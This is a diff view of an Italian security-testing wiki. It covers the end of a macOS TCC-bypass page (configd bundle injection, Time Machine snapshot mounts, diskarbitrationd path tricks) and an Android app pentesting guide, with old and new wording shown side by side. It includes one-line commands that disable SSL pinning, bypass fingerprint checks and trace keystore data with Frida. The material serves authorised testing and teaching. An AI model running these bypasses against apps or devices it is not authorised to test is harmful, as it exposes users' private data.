- lo facciamo per massimizzare le nostre possibilità di successo poiché la finestra di gara è piuttosto ristretta, ma perdere la gara ha un impatto trascurabile
- aspettare un po'
- testare se abbiamo avuto fortuna
- se no, ripetere dall'inizio
Ulteriori informazioni in [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
> [!CAUTION]
> Ora, se provi a usare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avvieranno
> Ora, se provi a usare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avviano
### Apple Remote Desktop
@ -244,7 +244,7 @@ Il **primo POC** utilizza [**dsexport**](https://www.unix.com/man-page/osx/1/dse
6. Ferma il _tccd_ dell'utente e riavvia il processo.
Il secondo POC ha utilizzato **`/usr/libexec/configd`** che aveva `com.apple.private.tcc.allow` con il valore `kTCCServiceSystemPolicySysAdminFiles`.\
Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante potrebbe specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** di cambiamento della home directory dell'utente con un **iniezione di codice configd**.
Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante poteva specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** per cambiare la home directory dell'utente con un **iniezione di codice configd**.
Per ulteriori informazioni controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
@ -252,12 +252,13 @@ Per ulteriori informazioni controlla il [**report originale**](https://www.micro
Ci sono diverse tecniche per iniettare codice all'interno di un processo e abusare dei suoi privilegi TCC:
{{#ref}}
../../../macos-proces-abuse/
{{#endref}}
Inoltre, la tecnica di iniezione di processo più comune per bypassare TCC trovata è tramite **plugin (load library)**.\
I plugin sono codice extra solitamente sotto forma di librerie o plist, che verranno **caricati dall'applicazione principale** e verranno eseguiti nel suo contesto. Pertanto, se l'applicazione principale aveva accesso a file TCC riservati (tramite permessi o diritti concessi), il **codice personalizzato avrà anch'esso accesso**.
I plugin sono codice extra solitamente sotto forma di librerie o plist, che saranno **caricati dall'applicazione principale** e verranno eseguiti nel suo contesto. Pertanto, se l'applicazione principale aveva accesso a file TCC riservati (tramite permessi o diritti concessi), il **codice personalizzato avrà anche accesso**.
### CVE-2020-27937 - Directory Utility
@ -417,7 +418,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - bypass TCC di mount_apfs e escalation dei privilegi
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare uno snapshot di Time Machine e **accedere a TUTTI i file** di quello snapshot.\
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare un'istantanea di Time Machine e **accedere a TUTTI i file** di quell'istantanea.\
L'**unico privilegio** necessario è che l'applicazione utilizzata (come `Terminal`) abbia accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), che deve essere concesso da un amministratore.
```bash
# Create snapshot
@ -471,7 +472,7 @@ Come spiegato nel [writeup originale](https://www.kandji.io/blog/macos-audit-sto
La funzione `DADiskMountWithArgumentsCommon` del framework pubblico `DiskArbitration` eseguiva i controlli di sicurezza. Tuttavia, è possibile bypassarla chiamando direttamente `diskarbitrationd` e quindi utilizzare elementi `../` nel percorso e symlink.
Questo ha permesso a un attaccante di eseguire mount arbitrari in qualsiasi posizione, incluso il database TCC a causa del diritto `com.apple.private.security.storage-exempt.heritable` di `diskarbitrationd`.
Questo ha permesso a un attaccante di eseguire mount arbitrari in qualsiasi posizione, incluso sopra il database TCC a causa del diritto `com.apple.private.security.storage-exempt.heritable` di `diskarbitrationd`.
### asr
@ -482,15 +483,16 @@ Lo strumento **`/usr/sbin/asr`** consentiva di copiare l'intero disco e montarlo
C'è un terzo database TCC in **`/var/db/locationd/clients.plist`** per indicare i client autorizzati ad **accedere ai servizi di localizzazione**.\
La cartella **`/var/db/locationd/` non era protetta dal montaggio DMG** quindi era possibile montare il nostro plist.
## Per app di avvio
## Da app di avvio
{{#ref}}
../../../../macos-auto-start-locations.md
{{#endref}}
## Per grep
## Da grep
In diverse occasioni, i file memorizzeranno informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
In diverse occasioni i file memorizzano informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
@ -500,7 +502,7 @@ Questo non funziona più, ma [**funzionava in passato**](https://twitter.com/noa
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
Un altro modo utilizzando [**eventi CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
Un altro modo usando [**eventi CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>

80
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Nozioni di Base sulle Applicazioni Android
## Nozioni di base sulle Applicazioni Android
È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
@ -12,8 +12,8 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo android (emulato o fisico).\
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **Rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
@ -26,7 +26,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere
- [Spoofing della tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md)
- [Sfruttare meccanismi di aggiornamento in-app insicuri](insecure-in-app-update-rce.md)
- [Sfruttamento di meccanismi di aggiornamento in-app insicuri](insecure-in-app-update-rce.md)
- [Abuso dei Servizi di Accessibilità (Android RAT)](accessibility-services-abuse.md)
- **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Estrai APK dal dispositivo:
@ -50,10 +50,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Case Studies & Vulnerabilities
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
@ -78,22 +80,23 @@ L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può ri
**Vulnerabilità** identificate dal **Manifest.xml** includono:
- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup di dati non autorizzati tramite adb, specialmente quando il debug USB è abilitato.
- **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
- **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli schemi URL per vulnerabilità di input.
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come vengono gestiti gli schemi URL per le vulnerabilità di input.
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note degli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
### Tapjacking
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo tale da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
**Tapjacking** è un attacco in cui un'**applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
Trova ulteriori informazioni in:
{{#ref}}
tapjacking.md
{{#endref}}
@ -102,7 +105,8 @@ tapjacking.md
Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
Maggiori informazioni in:
Ulteriori informazioni in:
{{#ref}}
android-task-hijacking.md
@ -112,12 +116,12 @@ android-task-hijacking.md
**Internal Storage**
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li ha **creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la **condivisione** dei file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose.
1. **Static Analysis:**
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** i file a **accessi non intenzionati o non autorizzati**.
2. **Dynamic Analysis:**
- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
- **Verifica** i **permessi** impostati sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
**External Storage**
@ -136,12 +140,12 @@ Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero esser
La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP]
> A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione dannosa di ottenere accesso in lettura o scrittura ai file di un'altra app.
> A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione malevola di ottenere accesso in lettura o scrittura ai file di un'altra app.
**Dati sensibili memorizzati in chiaro**
**Sensitive data stored in clear-text**
- **Shared preferences**: Android consente a ciascuna applicazione di salvare facilmente file xml nel percorso `/data/data/<packagename>/shared_prefs/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
- **Database**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
- **Databases**: Android consente a ciascuna applicazione di salvare facilmente database sqlite nel percorso `/data/data/<packagename>/databases/` e a volte è possibile trovare informazioni sensibili in chiaro in quella cartella.
### Broken TLS
@ -243,7 +247,7 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
#### Utilizzando un emulatore
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **ultimi x86** versioni **supportano le librerie ARM** senza necessità di un emulatore arm lento).
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **ultimi x86** versioni **supportano le librerie ARM** senza bisogno di un emulatore arm lento).
- Impara a configurarlo in questa pagina:
{{#ref}}
@ -254,7 +258,7 @@ avd-android-virtual-device.md
- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
> [!TIP]
> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
> Quando crei un nuovo emulatore su qualsiasi piattaforma, ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente:
@ -287,7 +291,7 @@ Gli sviluppatori dovrebbero prestare attenzione a non esporre **informazioni di
**Caching del buffer di copia/incolla**
Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** agli appunti, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
**Log di crash**
@ -295,9 +299,9 @@ Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli
Come pentester, **cerca di dare un'occhiata a questi log**.
**Dati analitici inviati a terzi**
**Dati di analisi inviati a terzi**
Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
### DB SQLite
@ -306,12 +310,12 @@ I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `
Se il database sta salvando informazioni riservate ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
Enumera le tabelle utilizzando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
### Drozer (Attività di sfruttamento, Content Providers e Servizi)
Da [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti consente di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come utilizzare il meccanismo di comunicazione interprocesso (IPC) di Android e interagire con il sistema operativo sottostante.\
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Content Providers** come imparerai nelle sezioni seguenti.
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Content Providers**, come imparerai nelle sezioni seguenti.
### Sfruttare attività esportate
@ -320,7 +324,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
**Bypass dell'autorizzazione**
Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
Quando un'Activity è esportata, puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
@ -403,7 +407,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
### Ispezione e verifiche del livello di trasporto
- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittografare i dati.
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
- **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole.
#### Verifica del certificato
@ -418,15 +422,15 @@ SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certifi
Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (ad es., Burp). Senza installare questo certificato, il traffico crittografato potrebbe non essere visibile attraverso il proxy. Per una guida sull'installazione di un certificato CA personalizzato, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è fondamentale per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CA valide.
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CAs validi.
#### Bypassare SSL Pinning
Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare l'SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
- Potresti usare **Frida** (discusso di seguito) per bypassare questa protezione. Qui hai una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **l'analisi dinamica di MobSF** (spiegato di seguito)
@ -448,7 +452,7 @@ Se vuoi fare pentesting su applicazioni Android, devi sapere come usare Frida.
- Puoi trovare alcuni fantastici script Frida qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Prova a bypassare meccanismi anti-debugging / anti-frida caricando Frida come indicato in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Flusso di lavoro per il bypass di anti-strumentazione e SSL pinning
#### Workflow di bypass anti-strumentazione e SSL pinning
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
@ -475,7 +479,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
In Android, il Keystore è il miglior posto per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentest dovrebbero controllare per questo come utente root o qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati.
Anche se un'app memorizza dati nel keystore, i dati dovrebbero essere crittografati.
Anche se un'app ha memorizzato dati nel keystore, i dati dovrebbero essere crittografati.
Per accedere ai dati all'interno del keystore, puoi utilizzare questo script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
@ -483,7 +487,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Utilizzando il seguente script Frida, potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
Utilizzando il seguente script Frida potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -501,7 +505,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Analizzatore di Applicazioni Android**
Questo strumento potrebbe aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Questo strumento può aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Iniezione di Intent
@ -551,7 +555,7 @@ MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
L'**analizzatore dinamico MobSF** può:
- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot realizzati da te, screenshot realizzati da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
- Catturare il **traffico HTTPS**
- Usare **Frida** per ottenere **informazioni** **runtime**
@ -563,7 +567,7 @@ Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypass
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il rapporto.
Per **iniziare** il test dinamico premi il pulsante verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script di venerdì a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script Frida a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -576,7 +580,7 @@ Inoltre, hai alcune funzionalità ausiliarie di Frida:
- **Cerca Modello di Classe**: Cerca classi per modello
- **Traccia Metodi di Classe**: **Traccia** un'**intera classe** (vedi input e output di tutti i metodi della classe). Ricorda che per impostazione predefinita MobSF traccia diversi metodi API Android interessanti.
Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere "**Start Intrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere "**Start Instrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
**Shell**
@ -597,7 +601,7 @@ Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools selezi
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
> [!TIP]
> Dopo aver eseguito un'analisi dinamica con MobSF, le impostazioni del proxy potrebbero essere configurate in modo errato e non sarai in grado di correggerle dalla GUI. Puoi correggere le impostazioni del proxy eseguendo:
> Dopo aver eseguito un'analisi dinamica con MobSF, le impostazioni del proxy potrebbero essere mal configurate e non sarai in grado di correggerle dalla GUI. Puoi correggere le impostazioni del proxy eseguendo:
>
> ```
> adb shell settings put global http_proxy :0
@ -668,9 +672,9 @@ androbugs.exe -f [APK file]
**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
